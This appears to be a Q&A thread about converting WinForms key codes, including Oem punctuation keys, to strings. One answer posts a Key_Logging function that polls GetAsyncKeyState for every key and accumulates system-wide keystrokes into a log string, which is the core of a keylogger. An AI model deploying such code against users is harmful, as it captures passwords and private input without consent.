Reputation: 1416
I am responding to a KeyDown Event Handler in my Windows Forms application. In this Event Handler, I want to convert the KeyEventArgs
KeyCode to a string. This is no problem when we are dealing with characters from the alphabet, numbers or the numpad. The difficutly comes when trying to convert characters such as: < > , . ; ' " / ?
My current conversion method is:
private string ConvertKeyCodeToString(System.Windows.Forms.Keys keyCode, bool shiftPressed)
{
string key = new System.Windows.Forms.KeysConverter().ConvertToString(keyCode);
if (key.Contains("NumPad"))
{
key = key.Replace("NumPad", "");
}
if (key.Equals("Space"))
{
key = " ";
}
if (!shiftPressed)
{
key = key.ToLower();
}
return key;
}
Right now, I'm calling ConvertToString
instead of ConvertToInvariantString
because doing this does not seem to change anything. I have noticed that every special character which is causing issues seems to start with "oem"
.
To me, the best solution seems to be converting the key to a string using a List of some sorts. If the key that has been pressed is a special character of course. I'm afraid this will cause issues related to the keyboard culture.
So my question is: how can I convert a key press on a special character to it's string representation based on the current culture?
Upvotes: 4
Views: 6651
Reputation: 75
I am using this code, I will be changing keys such as tab, space and enter and whatever I want as I go.
static void Key_Logging()
{
string newkey = "";
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
if ((i < 91) & (i > 47))
{
newkey = "" + (char)i;
}
else
{
switch (""+(Keys)i)
{
case "Tab": newkey = " "; break;
case "Space": newkey = " "; break;
case "Return": newkey = "\r\n"; break;
case "OemMinus": newkey = "-"; break;
case "Oemplus": newkey = "+"; break;
case "OemQuestion": newkey = "/"; break;
case "Oemtilde": newkey = "`"; break;
default: newkey = "\"" + (Keys)i + "\""; break;
}
}
Console.WriteLine(newkey);
keylogS += newkey;
break;
}
}
}
}
Upvotes: 0
Reputation: 152491
Sounds like you may want to use KeyPress
instead of KeyDown
:
private void keypressed(Object o, KeyPressEventArgs e)
{
char key = e.KeyChar; // the character representation of the key that was pressed
}
KeyDown
is raised for non-character keys such as directional and function keys.
Upvotes: 3